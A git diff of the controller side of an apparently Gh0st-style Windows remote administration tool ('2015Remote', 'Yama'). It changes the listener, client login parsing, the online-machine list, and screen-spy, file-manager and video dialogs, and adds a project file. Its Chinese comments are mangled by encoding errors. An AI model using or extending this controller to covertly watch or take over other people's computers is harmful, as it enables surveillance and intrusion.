m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
UINT ret = 0;
|
||||||
if (m_iocpServer==NULL)
|
if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE)
|
|
||||||
{
|
{
|
||||||
OutputDebugStringA("======> StartServer Failed \n");
|
OutputDebugStringA("======> StartServer Failed \n");
|
||||||
|
char code[32];
|
||||||
|
sprintf_s(code, "%d", ret);
|
||||||
|
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
|
||||||
|
delete m_iocpServer;
|
||||||
|
m_iocpServer = NULL;
|
||||||
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
CString strTemp;
|
CString strTemp;
|
||||||
strTemp.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>: %d<>ɹ<EFBFBD>", nPort);
|
strTemp.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>: %d<>ɹ<EFBFBD>", nPort);
|
||||||
ShowMessage(true,strTemp);
|
ShowMessage(true,strTemp);
|
||||||
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||||
{
|
{
|
||||||
AUTO_TICK(5);
|
AUTO_TICK(20);
|
||||||
MessageHandle(ContextObject);
|
MessageHandle(ContextObject);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -915,7 +997,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
switch (ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||||
{
|
{
|
||||||
case COMMAND_BYE:
|
case COMMAND_BYE:
|
||||||
{
|
{
|
||||||
@@ -983,7 +1065,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing;
|
CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing;
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ClientContext <20><><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ClientContext <20><><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
if (ContextObject == NULL)
|
if (ContextObject == NULL || isClosed)
|
||||||
{
|
{
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
@@ -991,43 +1073,31 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
CString strToolTipsText;
|
CString strToolTipsText;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
|
|
||||||
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
|
|
||||||
{
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
LOGIN_INFOR* LoginInfor = (LOGIN_INFOR*)ContextObject->InDeCompressedBuffer.GetBuffer();
|
|
||||||
|
|
||||||
sockaddr_in ClientAddr;
|
sockaddr_in ClientAddr;
|
||||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||||
int iClientAddrLen = sizeof(sockaddr_in);
|
int iClientAddrLen = sizeof(sockaddr_in);
|
||||||
SOCKET nSocket = ContextObject->sClientSocket;
|
SOCKET nSocket = ContextObject->sClientSocket;
|
||||||
BOOL bOk = getpeername(nSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLen); //IP C <---IP
|
BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen);
|
||||||
|
// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
|
||||||
|
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
|
||||||
|
{
|
||||||
|
char buf[100];
|
||||||
|
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
|
||||||
|
OutputDebugStringA(buf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
|
||||||
|
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
|
||||||
|
|
||||||
strIP = inet_ntoa(ClientAddr.sin_addr);
|
strIP = inet_ntoa(ClientAddr.sin_addr);
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
strPCName = LoginInfor->szPCName;
|
strPCName = LoginInfor->szPCName;
|
||||||
|
|
||||||
switch (LoginInfor->OsVerInfoEx.dwPlatformId)
|
//<2F>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
{
|
strOS = LoginInfor->OsVerInfoEx;
|
||||||
case VER_PLATFORM_WIN32_NT:
|
|
||||||
if (LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 )
|
|
||||||
strOS = "WindowsNT";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
|
|
||||||
strOS = "Windows2000";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
|
|
||||||
strOS = "WindowsXP";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
|
|
||||||
strOS = "Windows2003";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
|
|
||||||
strOS = "WindowsVista";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
|
|
||||||
strOS = "Windows7";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
|
|
||||||
strOS = "Windows8";
|
|
||||||
}
|
|
||||||
|
|
||||||
//CPU
|
//CPU
|
||||||
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
||||||
@@ -1038,10 +1108,13 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
strVideo = LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
|
strVideo = LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
|
||||||
|
|
||||||
strAddr.Format("%d", nSocket);
|
strAddr.Format("%d", nSocket);
|
||||||
|
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,
|
||||||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject);
|
LoginInfor->szReserved,ContextObject);
|
||||||
|
delete LoginInfor;
|
||||||
return S_OK;
|
return S_OK;
|
||||||
}catch(...){}
|
}catch(...){
|
||||||
|
OutputDebugStringA("[ERROR] OnUserToOnlineList catch an error \n");
|
||||||
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1060,7 +1133,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
|||||||
{
|
{
|
||||||
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
|
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
|
||||||
m_CList_Online.DeleteItem(i);
|
m_CList_Online.DeleteItem(i);
|
||||||
m_iCount--;
|
|
||||||
ShowMessage(true, ip + "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
ShowMessage(true, ip + "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1117,7 +1189,7 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
|||||||
case FILEMANAGER_DLG:
|
case FILEMANAGER_DLG:
|
||||||
{
|
{
|
||||||
CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg;
|
CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg;
|
||||||
//delete Dlg; //<2F><><EFBFBD><EFBFBD><E2B4A6>
|
delete Dlg;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case REGISTER_DLG:
|
case REGISTER_DLG:
|
||||||
@@ -1142,7 +1214,7 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s
|
CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s
|
||||||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||||||
Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow());
|
Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow());
|
||||||
Dlg->ShowWindow(SW_SHOW);
|
Dlg->ShowWindow(SW_SHOWMAXIMIZED);
|
||||||
|
|
||||||
ContextObject->v1 = SCREENSPY_DLG;
|
ContextObject->v1 = SCREENSPY_DLG;
|
||||||
ContextObject->hDlg = Dlg;
|
ContextObject->hDlg = Dlg;
|
||||||
@@ -1163,6 +1235,7 @@ LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
ContextObject->v1 = FILEMANAGER_DLG;
|
ContextObject->v1 = FILEMANAGER_DLG;
|
||||||
ContextObject->hDlg = Dlg;
|
ContextObject->hDlg = Dlg;
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
|
/*
|
||||||
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
|
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
|
||||||
iter != v_FileDlg.end(); )
|
iter != v_FileDlg.end(); )
|
||||||
{
|
{
|
||||||
@@ -1176,6 +1249,7 @@ LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
v_FileDlg.push_back(Dlg);
|
v_FileDlg.push_back(Dlg);
|
||||||
|
*/
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
@@ -1312,7 +1386,7 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
|
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
|
||||||
{
|
{
|
||||||
MessageBox("Copyleft (c) FTU 2019", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
MessageBox("Copyleft (c) FTU 2025", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -9,21 +9,17 @@
|
|||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
|
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
|
||||||
// <20>Ƿ<EFBFBD><C7B7><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
|
||||||
#define SHOW_NOTIFY 1
|
#define INDEPENDENT 1
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
typedef struct _LOGIN_INFOR
|
#if INDEPENDENT
|
||||||
{
|
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||||
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
|
#define CLIENT_EXIT_WITH_SERVER 0
|
||||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
#else
|
||||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
#define CLIENT_EXIT_WITH_SERVER 1
|
||||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
#endif
|
||||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
|
||||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
|
||||||
}LOGIN_INFOR,*PLOGIN_INFOR;
|
|
||||||
|
|
||||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
class CMy2015RemoteDlg : public CDialogEx
|
class CMy2015RemoteDlg : public CDialogEx
|
||||||
@@ -51,14 +47,14 @@ public:
|
|||||||
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
|
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
|
||||||
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
|
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
|
||||||
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||||||
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject);
|
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject);
|
||||||
VOID ShowMessage(BOOL bOk, CString strMsg);
|
VOID ShowMessage(BOOL bOk, CString strMsg);
|
||||||
VOID CreatStatusBar();
|
VOID CreatStatusBar();
|
||||||
VOID CreateToolBar();
|
VOID CreateToolBar();
|
||||||
VOID CreateNotifyBar();
|
VOID CreateNotifyBar();
|
||||||
VOID CreateSolidMenu();
|
VOID CreateSolidMenu();
|
||||||
VOID ListenPort();
|
BOOL ListenPort();
|
||||||
VOID Activate(int nPort,int nMaxConnection);
|
BOOL Activate(int nPort,int nMaxConnection);
|
||||||
|
|
||||||
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||||
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||||
@@ -70,19 +66,21 @@ public:
|
|||||||
|
|
||||||
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
|
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
|
||||||
CTrueColorToolBar m_ToolBar;
|
CTrueColorToolBar m_ToolBar;
|
||||||
#if SHOW_NOTIFY
|
#if INDEPENDENT
|
||||||
NOTIFYICONDATA m_Nid;
|
NOTIFYICONDATA m_Nid;
|
||||||
#endif
|
#endif
|
||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
|
BOOL isClosed;
|
||||||
|
|
||||||
UINT m_iCount;
|
CBitmap m_bmOnline[3];
|
||||||
CBitmap m_bmOnline[2];
|
|
||||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||||
afx_msg void OnClose();
|
afx_msg void OnClose();
|
||||||
|
void Release();
|
||||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
afx_msg void OnOnlineMessage();
|
afx_msg void OnOnlineMessage();
|
||||||
afx_msg void OnOnlineDelete();
|
afx_msg void OnOnlineDelete();
|
||||||
|
afx_msg void OnOnlineUpdate();
|
||||||
afx_msg void OnAbout();
|
afx_msg void OnAbout();
|
||||||
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
||||||
afx_msg void OnNotifyShow();
|
afx_msg void OnNotifyShow();
|
||||||
|
|||||||
219
server/2015Remote/2015Remote_vs2015.vcxproj
Normal file
@@ -0,0 +1,219 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
|
||||||
|
<RootNamespace>My2015Remote</RootNamespace>
|
||||||
|
<Keyword>MFCProj</Keyword>
|
||||||
|
<ProjectName>Yama</ProjectName>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<UseOfMfc>Static</UseOfMfc>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<UseOfMfc>Static</UseOfMfc>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
<MinimalRebuild>false</MinimalRebuild>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||||
|
</Link>
|
||||||
|
<Midl>
|
||||||
|
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||||
|
<ValidateAllParameters>true</ValidateAllParameters>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</Midl>
|
||||||
|
<ResourceCompile>
|
||||||
|
<Culture>0x0804</Culture>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<StringPooling>true</StringPooling>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>zlib.lib</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<Midl>
|
||||||
|
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||||
|
<ValidateAllParameters>true</ValidateAllParameters>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</Midl>
|
||||||
|
<ResourceCompile>
|
||||||
|
<Culture>0x0804</Culture>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="res\1.cur" />
|
||||||
|
<None Include="res\2.cur" />
|
||||||
|
<None Include="res\2015Remote.ico" />
|
||||||
|
<None Include="res\3.cur" />
|
||||||
|
<None Include="res\4.cur" />
|
||||||
|
<None Include="res\arrow.cur" />
|
||||||
|
<None Include="res\audio.ico" />
|
||||||
|
<None Include="res\bitmap\bmp00001.bmp" />
|
||||||
|
<None Include="res\Bitmap\Online.bmp" />
|
||||||
|
<None Include="res\bitmap\toolbar1.bmp" />
|
||||||
|
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||||
|
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||||
|
<None Include="res\cmdshell.ico" />
|
||||||
|
<None Include="res\cursor5.cur" />
|
||||||
|
<None Include="res\Cur\Drag.cur" />
|
||||||
|
<None Include="res\Cur\MutiDrag.cur" />
|
||||||
|
<None Include="res\dword.ico" />
|
||||||
|
<None Include="res\file.ico" />
|
||||||
|
<None Include="res\icon1.ico" />
|
||||||
|
<None Include="res\My2015Remote.rc2" />
|
||||||
|
<None Include="res\pc.ico" />
|
||||||
|
<None Include="res\string.ico" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\..\common\commands.h" />
|
||||||
|
<ClInclude Include="2015Remote.h" />
|
||||||
|
<ClInclude Include="2015RemoteDlg.h" />
|
||||||
|
<ClInclude Include="Audio.h" />
|
||||||
|
<ClInclude Include="AudioDlg.h" />
|
||||||
|
<ClInclude Include="Buffer.h" />
|
